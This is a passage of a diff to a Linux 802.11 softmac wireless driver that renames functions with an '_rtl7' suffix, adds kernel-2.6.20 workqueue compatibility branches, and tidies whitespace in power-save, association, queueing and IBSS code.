IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + ieee->state=IEEE80211_LINKED; ieee->assoc_id = aid; ieee->softmac_stats.rx_ass_ok++; - - ieee80211_associate_complete(ieee); + + ieee80211_associate_complete_rtl7(ieee); }else{ ieee->softmac_stats.rx_ass_err++; IEEE80211_DEBUG_MGMT( "Association response status code 0x%x\n", errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } } break; - + case IEEE80211_STYPE_ASSOC_REQ: case IEEE80211_STYPE_REASSOC_REQ: - + if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && ieee->iw_mode == IW_MODE_MASTER) - - ieee80211_rx_assoc_rq(ieee, skb); + + ieee80211_rx_assoc_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_AUTH: - + if (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE){ - if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && + if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING && ieee->iw_mode == IW_MODE_INFRA){ - + IEEE80211_DEBUG_MGMT("Received authentication response"); - - if (0 == (errcode=auth_parse(skb, &challenge, &chlen))){ + + if (0 == (errcode=auth_parse_rtl7(skb, &challenge, &chlen))){ if(ieee->open_wep || !challenge){ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATED; ieee->softmac_stats.rx_auth_rs_ok++; - - ieee80211_associate_step2(ieee); + + ieee80211_associate_step2_rtl7(ieee); }else{ - ieee80211_auth_challenge(ieee, challenge, chlen); + ieee80211_auth_challenge_rtl7(ieee, challenge, chlen); } }else{ ieee->softmac_stats.rx_auth_rs_err++; IEEE80211_DEBUG_MGMT("Authentication respose status code 0x%x",errcode); - ieee80211_associate_abort(ieee); + ieee80211_associate_abort_rtl7(ieee); } - + }else if (ieee->iw_mode == IW_MODE_MASTER){ - ieee80211_rx_auth_rq(ieee, skb); + ieee80211_rx_auth_rq_rtl7(ieee, skb); } } break; - + case IEEE80211_STYPE_PROBE_REQ: - - if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && - ((ieee->iw_mode == IW_MODE_ADHOC || + + if ((ieee->softmac_features & IEEE_SOFTMAC_PROBERS) && + ((ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) && ieee->state == IEEE80211_LINKED)) - - ieee80211_rx_probe_rq(ieee, skb); + + ieee80211_rx_probe_rq_rtl7(ieee, skb); break; - + case IEEE80211_STYPE_DISASSOC: case IEEE80211_STYPE_DEAUTH: - /* FIXME for now repeat all the association procedure + /* FIXME for now repeat all the association procedure * both for disassociation and deauthentication */ if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_LINKED && + ieee->state == IEEE80211_LINKED && ieee->iw_mode == IW_MODE_INFRA){ - + ieee->state = IEEE80211_ASSOCIATING; ieee->softmac_stats.reassoc++; - - notify_wx_assoc_event(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + queue_work(ieee->wq, &ieee->associate_procedure_wq); } - + break; - - default: + + default: return -1; break; } - + //dev_kfree_skb_any(skb); return 0; } @@ -1602,21 +1631,21 @@ * This might be useful if each fragment need it's own * descriptor, thus just keep a total free memory > than * the max fragmentation treshold is not enought.. If the - * ieee802.11 stack passed a TXB struct then you needed - * to keep N free descriptors where + * ieee802.11 stack passed a TXB struct then you needed + * to keep N free descriptors where * N = MAX_PACKET_SIZE / MIN_FRAG_TRESHOLD * In this way you need just one and the 802.11 stack - * will take care of buffering fragments and pass them to + * will take care of buffering fragments and pass them to * to the driver later, when it wakes the queue. - */ - -void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee) + */ + +void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee) { - - + + unsigned long flags; int i; - + spin_lock_irqsave(&ieee->lock,flags); #if 0 if(ieee->queue_stop){ @@ -1627,13 +1656,13 @@ err = 1; goto exit; } - + ieee->stats.tx_bytes+=skb->len; - - + + txb=ieee80211_skb_to_txb(ieee,skb); - - + + if(txb==NULL){ IEEE80211DMESG("WW: IEEE stack failed to provide txb"); //dev_kfree_skb_any(skb); @@ -1641,12 +1670,12 @@ goto exit; } #endif - + /* called with 2nd parm 0, no tx mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); for(i = 0; i < txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.txb = txb; ieee->tx_pending.frag = i; @@ -1658,29 +1687,29 @@ //(i+1)nr_frags); ieee->stats.tx_packets++; ieee->stats.tx_bytes += txb->fragments[i]->len; - ieee->dev->trans_start = jiffies; + ieee->dev->trans_start = jiffies; } - } - - ieee80211_txb_free(txb); - + } + + ieee80211_txb_free_rtl7(txb); + exit: spin_unlock_irqrestore(&ieee->lock,flags); - + } /* called with ieee->lock acquired */ -void ieee80211_resume_tx(struct ieee80211_device *ieee) +void ieee80211_resume_tx_rtl7(struct ieee80211_device *ieee) { int i; for(i = ieee->tx_pending.frag; i < ieee->tx_pending.txb->nr_frags; i++) { - + if (ieee->queue_stop){ ieee->tx_pending.frag = i; return; }else{ - - ieee->softmac_data_hard_start_xmit( + + ieee->softmac_data_hard_start_xmit( ieee->tx_pending.txb->fragments[i], ieee->dev,ieee->rate); //(i+1)tx_pending.txb->nr_frags); @@ -1688,21 +1717,21 @@ ieee->dev->trans_start = jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void 